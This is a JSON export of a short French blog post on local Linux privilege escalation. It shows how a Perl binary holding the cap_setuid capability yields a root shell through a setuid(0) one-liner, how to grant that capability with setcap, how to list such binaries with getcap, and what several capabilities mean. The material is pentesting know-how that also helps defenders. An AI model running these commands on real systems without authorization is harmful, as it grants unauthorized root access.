{"id":465,"date":"2021-06-27T15:01:40","date_gmt":"2021-06-27T20:01:40","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=465"},"modified":"2021-06-30T15:34:03","modified_gmt":"2021-06-30T20:34:03","slug":"obtenir-le-compte-administrateur-avec-perl","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/obtenir-le-compte-administrateur-avec-perl\/","title":{"rendered":"Obtenir le compte administrateur avec Perl"},"content":{"rendered":"

Voil\u00e0 un astuce <\/p>\n

en ex\u00e9cutant le script linpeas, vous remarque que perl appara\u00eet avec les \u00ab\u00a0capabilities\u00a0\u00bb: cap_setuid+ep set<\/p>\n

vous pouvez obtenir un shell root<\/p>\n

\nperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "\/bin\/sh";'\n<\/code><\/pre><\/p>\n
Vous pouvez aussi donner \u00e0 Perl cette capacit\u00e9:<\/p>\n
\ncp $(which perl) .\nsudo setcap cap_setuid+ep perl\n\n.\/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "\/bin\/sh";'\n<\/code><\/pre><\/p>\n
Pour trouver d’autres ex\u00e9cutables avec des capabilities
\n
\nfind \/ -type f -exec getcap {} \\;\n<\/code><\/pre><\/p>\n
Exemple de capabilities<\/p>\n
    \n
  • CAP_AUDIT_CONTROL : Permet d’activer et de d\u00e9sactiver l’audit du kernel<\/li>\n
  • CAP_AUDIT_WRITE : Aide \u00e0 \u00e9crire des enregistrement dans les logs de l’audit du kernel<\/li>\n
  • CAP_BLOCK_SUSPEND : Cette fonctionnalit\u00e9 peut bloquer la mise en veille du syst\u00e8me<\/li>\n
  • CAP_CHOWN : Permet de faire des changements arbitraires aux UID et GID des fichiers<\/li>\n
  • CAP_DAC_OVERRIDE : Ceci aide \u00e0 outrepasser la v\u00e9rification des permissions pour la lecture, \u00e9criture et ex\u00e9cutation< des fichiers\/li>\n
  • CAP_DAC_READ_SEARCH : Ceci outrepasse uniquement les permissions des fichiers et r\u00e9pertoires pour les permissions de lecture et ex\u00e9cution<\/li>\n
  • CAP_FOWNER : Ceci permet de contourner la v\u00e9rifcation que le UID du processus syst\u00e8me corresponde \u00e0 celui du fichier<\/li>\n
  • CAP_KILL : Permet l’envoi de signaux \u00e0 des processus appertenant \u00e0 d’autres usagers<\/li>\n
  • CAP_SETGID : Permet le changement du GID<\/li>\n
  • CAP_SETUID : Permet le changement du UID<\/li>\n
  • CAP_SETPCAP : Permet le transfert de capabilites \u00e0 d’autres PID<\/li>\n
  • CAP_IPC_LOCK : Permet de verrouiller la m\u00e9moire<\/li>\n
  • CAP_MAC_ADMIN : Permet la configuration ou le changement d’\u00e9tat MAC<\/li>\n
  • CAP_NET_RAW : Permet l’utilisation de cokets RAW et PACKET et permet de le BIND d’adresse pour un proxy transparent<\/li>\n
  • CAP_NET_BIND_SERVICE : Service Bind un Socket sur des ports priviligi\u00e9s d’un domaine internet<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"
    Voil\u00e0 un astuce en ex\u00e9cutant le script linpeas, vous remarque que perl appara\u00eet avec les \u00ab\u00a0capabilities\u00a0\u00bb: cap_setuid+ep set vous pouvez obtenir un shell root perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "\/bin\/sh";' Vous pouvez aussi donner \u00e0 Perl cette capacit\u00e9: cp $(which perl) . sudo setcap cap_setuid+ep perl .\/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "\/bin\/sh";' Pour trouver d’autres ex\u00e9cutables avec des capabilities find \/ -type f -exec getcap {} \\; Exemple de capabilities CAP_AUDIT_CONTROL : Permet d’activer et de d\u00e9sactiver l’audit du kernel CAP_AUDIT_WRITE : Aide \u00e0 \u00e9crire des enregistrement dans les logs de l’audit du kernel CAP_BLOCK_SUSPEND : <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-465","post","type-post","status-publish","format-standard","hentry","category-non-classe"],"yoast_head":"\nObtenir le compte administrateur avec Perl - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/obtenir-le-compte-administrateur-avec-perl\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Obtenir le compte administrateur avec Perl - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"Voil\u00e0 un astuce en ex\u00e9cutant le script linpeas, vous remarque que perl appara\u00eet avec les \u00ab\u00a0capabilities\u00a0\u00bb: cap_setuid+ep set vous pouvez obtenir un shell root perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "\/bin\/sh";' Vous pouvez aussi donner \u00e0 Perl cette capacit\u00e9: cp $(which perl) . sudo setcap cap_setuid+ep perl .\/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "\/bin\/sh";' Pour trouver d’autres ex\u00e9cutables avec des capabilities find \/ -type f -exec getcap {} ; Exemple de capabilities CAP_AUDIT_CONTROL : Permet d’activer et de d\u00e9sactiver l’audit du kernel CAP_AUDIT_WRITE : Aide \u00e0 \u00e9crire des enregistrement dans les logs de l’audit du kernel CAP_BLOCK_SUSPEND :\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/27\/obtenir-le-compte-administrateur-avec-perl\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-06-27T20:01:40+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-06-30T20:34:03+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/27\\\/obtenir-le-compte-administrateur-avec-perl\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/27\\\/obtenir-le-compte-administrateur-avec-perl\\\/\"},\"author\":{\"name\":\"Germain\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\"},\"headline\":\"Obtenir le compte administrateur avec Perl\",\"datePublished\":\"2021-06-27T20:01:40+00:00\",\"dateModified\":\"2021-06-30T20:34:03+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/27\\\/obtenir-le-compte-administrateur-avec-perl\\\/\"},\"wordCount\":270,\"commentCount\":0,\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/27\\\/obtenir-le-compte-administrateur-avec-perl\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/27\\\/obtenir-le-compte-administrateur-avec-perl\\\/\",\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/27\\\/obtenir-le-compte-administrateur-avec-perl\\\/\",\"name\":\"Obtenir le compte administrateur avec Perl - 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